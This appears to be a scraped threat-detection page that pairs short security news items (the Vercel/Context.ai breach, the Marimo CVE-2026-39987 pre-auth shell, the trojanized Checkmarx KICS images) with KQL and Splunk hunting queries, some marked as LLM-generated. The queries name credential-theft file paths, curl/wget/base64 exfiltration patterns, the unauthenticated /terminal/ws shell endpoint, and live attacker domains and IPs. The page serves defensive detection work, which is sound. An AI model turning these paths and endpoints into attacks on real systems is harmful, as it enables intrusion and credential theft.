InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Vercel Finds More Compromised Accounts in Context.ai-Linked BreachExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Vercel Finds More Compromised Accounts in Context.ai-Linked Breach
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("next.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("next.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Vercel Finds More Compromised Accounts in Context.ai-Linked Breach ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("next.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("next.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Malicious Context AI Chrome extension (omddlmnhcofjbnbflmjginpjjblphbgk) on managed endpointInstallationHigh
Hunts for the presence of the Context AI Chrome extension that was used as an OAuth-grant lure in the April 2026 Vercel breach. The extension was removed from the Chrome Web Store on 27 March 2026; any post-removal install or remaining install footprint on a managed endpoint is suspicious and should be investigated as potential supply-chain exposure.
Rationale: The Vercel KB and Ox Security write-up both name the exact Chrome Web Store extension ID `omddlmnhcofjbnbflmjginpjjblphbgk` as the Context AI extension used in the breach; matching on this string in Chrome's per-extension folder (a fixed Chrome path convention) is high-fidelity with effectively no benign overlap.
Cross-checked against:
• https://vercel.com/kb/bulletin/vercel-april-2026-security-incident
• https://www.ox.security/blog/vercel-context-ai-supply-chain-attack-breachforums/
• https://www.trendmicro.com/en_us/research/26/d/vercel-breach-oauth-supply-chain.html
ATT&CKT1176T1195.002
Data sourcesEndpoint.FilesystemEndpoint.Processes
union
(DeviceFileEvents
| where FolderPath has "omddlmnhcofjbnbflmjginpjjblphbgk"
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, ActionType, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, Source="DeviceFileEvents"),
(DeviceProcessEvents
| where ProcessCommandLine has "omddlmnhcofjbnbflmjginpjjblphbgk" or InitiatingProcessCommandLine has "omddlmnhcofjbnbflmjginpjjblphbgk"
| project Timestamp, DeviceName, AccountName, ActionType, FolderPath=ProcessCommandLine, FileName=FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, Source="DeviceProcessEvents")
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\Extensions\\omddlmnhcofjbnbflmjginpjjblphbgk*" OR Filesystem.file_path="*/Extensions/omddlmnhcofjbnbflmjginpjjblphbgk*" by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] OAuth grant to Context AI Google app (client_id 110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj)Actions on ObjectivesHigh
Hunts Google Workspace / Defender for Cloud Apps audit for any user consent or active token issuance to the named Context AI OAuth client_id disclosed by Vercel. The app was granted full read access to Google Drive in the breach, so any historical or fresh grant in your tenant is a direct breach indicator.
Rationale: Vercel's KB explicitly names the Google OAuth client_id `110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com` as the Context AI app that received broad Drive scopes during the breach. A grant to this exact client_id in any other tenant is a direct compromise indicator with no legitimate business reason post-disclosure.
Cross-checked against:
• https://vercel.com/kb/bulletin/vercel-april-2026-security-incident
• https://www.ox.security/blog/vercel-context-ai-supply-chain-attack-breachforums/
ATT&CKT1528T1550.001T1199
Data sourcesAuthentication.AuthenticationChange.All_Changes
CloudAppEvents
| where Application in~ ("Google Workspace","Google Drive","Google Cloud Platform")
| where ActionType in~ ("Consent to application","Add OAuth2 permission grant","Add delegated permission grant","oauth2_authorize","authorize")
or RawEventData has "110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj"
| where RawEventData has "110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com"
or RawEventData has "context.ai"
| project Timestamp, AccountDisplayName, AccountObjectId, ActionType, IPAddress, UserAgent, Application, RawEventData
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Change.All_Changes where (All_Changes.object_category="OAuth*" OR All_Changes.action IN ("authorize","consent","token_grant","oauth_token_authorize")) AND (All_Changes.object="*110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj*" OR All_Changes.object="*context.ai*" OR All_Changes.command="*110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj*") by All_Changes.user All_Changes.src All_Changes.object All_Changes.action All_Changes.result | `drop_dm_object_name(All_Changes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Endpoint or DNS callback to retired beta.context.ai hostCommand & ControlMedium
Hunts any DNS resolution or web request to `beta.context.ai`, which Context AI took offline on 20 April 2026. Continued resolution attempts indicate a still-installed Context AI extension or residual integration that should be removed and the host scoped for Drive-token review.
Rationale: `beta.context.ai` is the specific Context AI host that, per Ox Security, became unreachable on 20 April 2026 — i.e. it has no current legitimate purpose. Continuing DNS or HTTP traffic to it from your estate isolates endpoints whose Context AI extension/integration is still active and therefore still in scope for the breach.
Cross-checked against:
• https://www.ox.security/blog/vercel-context-ai-supply-chain-attack-breachforums/
• https://vercel.com/kb/bulletin/vercel-april-2026-security-incident
ATT&CKT1071.001T1176
Data sourcesNetwork_Resolution.DNSWeb.Web
union
(DeviceNetworkEvents
| where RemoteUrl has "beta.context.ai" or RemoteUrl endswith "context.ai"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName, Source="DeviceNetworkEvents"),
(DeviceEvents
| where ActionType == "DnsQueryResponse"
| extend QName = tostring(parse_json(AdditionalFields).QueryName)
| where QName has "beta.context.ai"
| project Timestamp, DeviceName, QName, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine, Source="DeviceEvents-DNS")
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution.DNS where DNS.query="beta.context.ai" OR DNS.query="*.beta.context.ai" by DNS.src DNS.query DNS.answer DNS.reply_code | `drop_dm_object_name(DNS)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | append [ | tstats summariesonly=true count from datamodel=Web where Web.url="*beta.context.ai*" by Web.src Web.user Web.url Web.http_user_agent | `drop_dm_object_name(Web)` ]
2026-04-234 use cases3 techniques6 kill-chain phases detected
Apple has rolled out a software fix for iOS and iPadOS to address a Notification Services flaw that stored notifications marked for deletion on the device. The vulnerability, tracked as CVE-2026-28950 (CVSS score: N/A), has been described as a logging issue that has been addressed with improved data redaction. "Notifications marked for deletion could be unexpectedly retained on the device,"
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-28950", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-234 use cases1 technique3 kill-chain phases detected
Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands. Vendor: Marimo, Product: Marimo. Federal patch due: 2026-05-07.
CVEsCVE-2026-39987
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-39987")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-39987")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-221 use case2 techniques2 kill-chain phases detected
Marc Rogers and Silas Cutler expose how cheap smart home devices conceal a shadow supply chain of shell companies, firmware flaws, and foreign data routing.
ATT&CKT1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2210 use cases4 techniques6 kill-chain phases detected
Cybersecurity researchers have warned of malicious images pushed to the official "checkmarx/kics" Docker Hub repository. In an alert published today, software supply chain security company Socket revealed that unknown threat actors managed to have overwritten existing tags, including v2.1.20 and alpine, while also introducing a new v2.1.21 tag that does not correspond to an official release. The
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1555.003
Domainsaudit.checkmarx.cxcheckmarx.cx
IPs94.154.172.4391.195.240.123
Click any ATT&CK pill below to open it on the Matrix
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → [LLM] Trojanized Checkmarx VS Code / Open VSX extension installed (cx-dev-assist 1.17.0/1.19.0, ast-results 2.63.0/2.66.0)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Malicious KICS Docker Images and VS Code Extensions Hit Checkmarx Supply Chain
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Pull or run of trojanized checkmarx/kics Docker image (v2.1.20 / v2.1.21 / alpine / latest)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] Beacon to TeamPCP C2 audit.checkmarx[.]cx /v1/telemetry from Checkmarx KICS supply-chain compromise
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("94.154.172.43", "91.195.240.123") or RemoteUrl has_any ("audit.checkmarx.cx", "checkmarx.cx")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("94.154.172.43", "91.195.240.123")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("audit.checkmarx.cx", "checkmarx.cx")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("audit.checkmarx.cx", "checkmarx.cx")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
